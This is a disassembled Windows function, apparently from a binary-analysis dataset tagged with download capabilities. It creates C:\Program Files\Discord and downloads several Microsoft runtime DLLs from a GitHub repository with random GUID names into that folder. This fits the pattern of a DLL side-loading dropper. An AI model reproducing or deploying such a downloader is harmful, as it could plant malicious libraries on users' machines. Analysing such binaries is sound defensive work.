Function at 0x1400011c0
Capabilities:
Create directory
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov r8d, 0x18
lea rdx, str.C:Program_FilesDiscord
lea rcx, [rbp - 0x68]
call fcn.140001cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xd0], xmm1
mov r8d, 0x86
lea rdx, str.https:__github.com_AnkoUguisu_5b5cbe4d_54b5_4659_9cfe_b7804857ce41_blob_main_33837844_3d1a_4710_a7f0_27e6843b7160_library_msvcp140.dll
lea rcx, [rbp + 0xc0]
call fcn.140001cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xf0], xmm1
mov r8d, 0x88
lea rdx, str.https:__github.com_AnkoUguisu_5b5cbe4d_54b5_4659_9cfe_b7804857ce41_blob_main_33837844_3d1a_4710_a7f0_27e6843b7160_library_msvcp140_1.dll
lea rcx, [rbp + 0xe0]
call fcn.140001cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x110], xmm1
mov r8d, 0x87
lea rdx, str.https:__github.com_AnkoUguisu_5b5cbe4d_54b5_4659_9cfe_b7804857ce41_blob_main_33837844_3d1a_4710_a7f0_27e6843b7160_library_msvcp140d.dll
lea rcx, [rbp + 0x100]
call fcn.140001cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x130], xmm1
mov r8d, 0x87
lea rdx, str.https:__github.com_AnkoUguisu_5b5cbe4d_54b5_4659_9cfe_b7804857ce41_blob_main_33837844_3d1a_4710_a7f0_27e6843b7160_library_ucrtbased.dll
lea rcx, [rbp + 0x120]
call fcn.140001cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x150], xmm1
mov r8d, 0x8a
lea rdx, str.https:__github.com_AnkoUguisu_5b5cbe4d_54b5_4659_9cfe_b7804857ce41_blob_main_33837844_3d1a_4710_a7f0_27e6843b7160_library_vcruntime140.dll
lea rcx, [rbp + 0x140]
call fcn.140001cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x170], xmm1
mov r8d, 0x8c
lea rdx, str.https:__github.com_AnkoUguisu_5b5cbe4d_54b5_4659_9cfe_b7804857ce41_blob_main_33837844_3d1a_4710_a7f0_27e6843b7160_library_vcruntime140_1.dll
lea rcx, [rbp + 0x160]
call fcn.140001cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x190], xmm1
mov r8d, 0x8d
lea rdx, str.https:__github.com_AnkoUguisu_5b5cbe4d_54b5_4659_9cfe_b7804857ce41_blob_main_33837844_3d1a_4710_a7f0_27e6843b7160_library_vcruntime140_1d.dll
lea rcx, [rbp + 0x180]
call fcn.140001cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1b0], xmm1
mov r8d, 0x8b
lea rdx, str.https:__github.com_AnkoUguisu_5b5cbe4d_54b5_4659_9cfe_b7804857ce41_blob_main_33837844_3d1a_4710_a7f0_27e6843b7160_library_vcruntime140d.dll
lea rcx, [rbp + 0x1a0]
call fcn.140001cf0
nop
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400013ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400013ee
lea rdx, str.Failed_to_create_target_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001ad0
mov rcx, rax
lea rdx, [0x140001cb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r13d, 1
jmp 0x140001996
lea rsi, [rbp + 0xc0]
mov r13d, 1
lea r12, [0x140004d3a]
mov r15d, 0x100
mov rbx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140001415
mov rbx, qword [rsi]
mov rdi, qword [rsi + 0x10]
test rdi, rdi
je 0x1400014d3
mov r8, r15
xor edx, edx
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x140004d38]
movzx eax, word [rcx]
cmp ax, r15w
jae 0x140001482
movzx eax, al
mov byte [rbp + rax - 0x40], 1
add rcx, 2
cmp rcx, r12
jne 0x140001437
lea rcx, [rdi - 1]
mov rax, 0xffffffffffffffff
cmp rcx, rax
cmovb rax, rcx
lea rcx, [rbx + rax*2]
movzx eax, word [rcx]
cmp ax, r15w
jae 0x140001477
cmp byte [rbp + rax - 0x40], 0
jne 0x1400014cb
cmp rcx, rbx
je 0x1400014d3
sub rcx, 2
jmp 0x140001467
lea rcx, [rdi - 1]
mov rax, 0xffffffffffffffff
cmp rcx, rax
cmovb rax, rcx
lea rcx, [rbx + rax*2]
nop dword [rax + rax]
mov rdx, r13
lea rax, [0x140004d38]
movzx r8d, word [rcx]
nop
cmp word [rax], r8w
je 0x1400014cb
add rax, 2
sub rdx, 1
jne 0x1400014b0
cmp rcx, rbx
je 0x1400014d3
sub rcx, 2
jmp 0x1400014a0
sub rcx, rbx
sar rcx, 1
jmp 0x1400014da
mov rcx, 0xffffffffffffffff
inc rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
mov rax, rdi
cmp rdi, rcx
jb 0x140001a31
sub rax, rcx
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
mov rax, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140001517
mov rax, qword [rsi]
lea rdx, [rax + rcx*2]
lea rcx, [rsp + 0x78]
call fcn.140001cf0
nop
mov r15, qword [rbp - 0x58]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r15
cmp rax, 1
jb 0x140001a2b
lea r12, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova r12, qword [rbp - 0x68]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
lea r14, [r15 + 1]
mov ebx, 7
lea rdi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001607
mov rbx, r14
or rbx, 7
cmp rbx, rcx
jbe 0x1400015cd
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400015fa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a37
mov rcx, rax
call fcn.140002250
test rax, rax
je 0x1400018aa
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001602
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140001a37
add rcx, rcx
jne 0x140001598
xor edi, edi
jmp 0x140001602
call fcn.140002250
mov rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], 0x5c
xor eax, eax
mov word [rdi + r14*2], ax
lea r9, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova r9, qword [rsp + 0x78]
mov rdi, qword [rbp - 0x78]
mov r14, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r14
cmp rdi, rax
ja 0x140001694
lea rax, [r14 + rdi]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 7
cmova rbx, qword [rsp + 0x30]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [r14 + rdi]
xor r14d, r14d
mov word [rbx + rax*2], r14w
lea rax, [rsp + 0x30]
jmp 0x1400016a9
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140001e20
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14000171e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001719
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018b1
call fcn.14000235c
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r14w
lea rdx, str.Downloading
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001ad0
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
mov rcx, rax
call fcn.140002050
lea rdx, str._to
mov rcx, rax
call fcn.140001ad0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
mov rcx, rax
call fcn.140002050
lea rdx, [0x140001cb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova r8, qword [rsp + 0x58]
mov rdx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x1400017bc
mov rdx, qword [rsi]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400018b8
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140001816
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001811
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001931
call fcn.14000235c
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r14w
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x14000186b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001866
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001989
call fcn.14000235c
add rsi, 0x20
lea rax, [rbp + 0x1c0]
cmp rsi, rax
jne 0x1400013fb
lea rdx, str.All_files_downloaded_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001ad0
mov rcx, rax
lea rdx, [0x140001cb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r13d, r14d
jmp 0x140001996
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Failed_to_download
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001ad0
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
mov rcx, rax
call fcn.140002050
lea rdx, [0x140001cb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14000193d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001938
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001938
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000235c
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r14w
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x140001996
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001990
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001990
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000235c
nop
lea r9, [0x140001a40]
mov edx, 0x20
mov r8d, 8
lea rcx, [rbp + 0xc0]
call fcn.14000228c
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x1400019f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000235c
mov eax, r13d
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140002230
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001ab0
nop
call fcn.140001100
int3